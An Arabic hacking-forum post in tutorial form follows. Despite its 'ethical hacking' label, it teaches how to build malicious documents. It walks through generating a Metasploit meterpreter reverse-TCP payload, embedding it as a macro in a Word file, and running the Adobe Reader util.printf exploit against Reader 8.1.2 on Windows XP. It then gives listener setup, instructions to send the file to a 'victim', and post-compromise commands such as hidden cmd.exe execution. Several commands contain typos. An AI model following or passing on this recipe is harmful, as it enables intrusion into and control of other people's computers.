~ || حصرياً : الاختراق بثغرتين [ Word.Doc + AdoBe ReaDeR ] فنون الاختراق الاخلاقي M3taSploiT ::.

[rss]

شلؤؤنكم شخباركم . .

بطرح لكم ثغرتين بالميتاسبلويت ومهمات بشكل غير طبيعي

انصح البعض بسلك طريق غير التشيفرات وشروحاته !

خلونا نرفع اسم المنتدى بمعنى الكلمه

[ نقطه التطوير ]
:32:



كما موضح بعنوان الموضوع :

الاختراق بثغرتين الاولى على سبيل المثال [ Dev-PoinT.Doc ]

آو بالاصح [ PayLoaD ] ملغم بمـلف [ WoRd ] ~

^ راح نستعين ببرنامج اجزم انه مفضل لديكم جميعاً :15: :

Visual Basic 6.0

نبدي بأسم الرحمن الرحيم . .

الامر الاول الي يلزمنا بالميتا سبلويت وهو كالمعروف

تؤليد آلبآيلود !

طريقه فتح الميتا وشاشه الـ CmD


[ من آبداء > البرامج > CMD S h e e l < M3tasploit 3 ]

او

[ Sart > Program > M3tasploit 3 > CMD S h e e l ]

راح تطلع معانا شآشه آلسي آم دي شل ~

نكتب امر التوليد :

اقتباس:

ruby msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 V > "C:\ManegarPlay.bas"

ونزل عندي البايلود بقرص آلسي ملف بأمتداد bas :



الحين نظغط كليك يمين بمكان فاضي بقرص السي :

كليك يمين بمكآن فآضي جديد > مستند Microsoft Word




نفتح ملف آلوورد ومن فوق ادوات > ماكرو > محرر Visual Basic




من شرريط آلقوآئم > Import File < File




ونحدد آلبآيلؤد آلي بقرص السي .bas . .




تم آضآفه موديل بآلمشروع !

آلحين نحفظ آلمشروع ~



آلحين نسوي تنصت

وهذا كود آلتنصت :

اقتباس:
ruby msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=127.0.0.1 E


بدآء عمليه آلتنصت

كل مآعليك بعد عمليه آلتنصت آنك تدز الملف للضحيه :6:

وآول مآيفتحه آلضحيه تبدآء لعبك آنت ~

فـ مثال كود بسيط وهو [ sysinfo ] < يعني معلومآت عن آلنظآم !

وآوآمر آلميتآ كثيره !




الحين مع

ثغره لشركه آلادوبي آلمصدره لبرآمج آلادوبي بكافه آنواعها !

آلثغره :

' AdoBe ReaDeR 8.2.1_AdoBe UtiL '


آصدآر آلبرنامج آلمصآب :

[ 8.1.2 ]


آلويندوز آلمصاب :

[ WinDowS xP SP3 ]


آلبآيلؤد :

[ windows/meterpreter/reverse_tcp ]


آلاستغلآل :

[ exploit/windows/filefermat/adobe_utilprintf ]





شرح آلثغـره وآلتطبيق !

نفتح آلاداه [ m3tasploit Console ]




قبل لآ تفتحونها لازم تحدثون آلميتآسبلويت !




مثل مآتشوفون بجهآزي [ LaSt UpDated 221 days aGo ]

يعني آخر تحديث قبل 221 يوم ! :2:

آلمهم نكمل

آول مآنفتح آداه الميتا [ m3tasploit Console ]

نبداء نكتـب آلاوامر

[1] آلامر آلآول :


[ الاستغلال ]

كود:
use exploit/windows/filefermat/adobe_utilprintf
وبعدهـا نظغط [ EnTeR ] !

[2] آلامر آلثـاني :

[ آسم الملف ]

كود:
set FILENAME/adobe_util

[ آنتر ] Then ClicK !


[3] آلامر آلثالث :

[ توليد آلبآيلؤد ]

كود:
set PAYLOD windows/meterpreter/reverse_tcp
[4] آلامـر الرآبع :

[ آستهداف الايبي = آيبي آلضحيه ]

كود:

كود:
set LHOST 127.0.0.1

[5] الامر الخامس :

[ البورت 4444 = الافترآضي ]

كود:
set LPORT 4444
[6] آلامر السادس :

[ الاستغلآل ]

كود:
exploit
[7] الامر السابع :

[ آستغلال آلمعالج ]

كود:
exploit/multi/handler
[8] الامر الثامن :

[ الدوره آلصحيحه ]

كود:
set ExiOnSession true
[9] الامر التاسع :

[ توليد آلبآيلود ]

كود:
set PAYLOD windows/meterpreter/reverse_tcp

[10] الامر العاشر :

[ آستهداف الايبي = آيبي آلضحيه ]

كود:
set LHOST 127.0.0.1
[11] الامر الحادي عشر :

[ البورت 4444 = الافترآضي ]

كود:
set LPORT 4444
[12] الامر الثاني عشر :

[ آلاستغلال ]

كود:
exploit
رآح ينشيء ملف Reader بسطح المكتب ~

آفتحه وآنطر شوي بشاشه البآش رآح تطلع لك الاوامر !



جذي تم آقتحام آلجهاز آلمصآب . .

نشوف بعض الاومر !

الامر الاول بعد اقتحام الجهاز ~

[13] الامر الثالث عشر :

[ معلومات النظام ]

كود:
sysinfo



[14] الامر الرابع عشر :

كود:
getuid





[15] الامر الخامس العاشر :

كود:
execute -H -1 -f cmd.exe





[16] الامر السادس عشر :

كود:
ipconfig


تلآحظون آلايبآت وآلاوامر !

مآبقى عليكم آلآ آلتطبيق . . :6:



الى هنا انتهى الموضوع

واتمنى حاز على رضاكم

DeaD SouL

[#]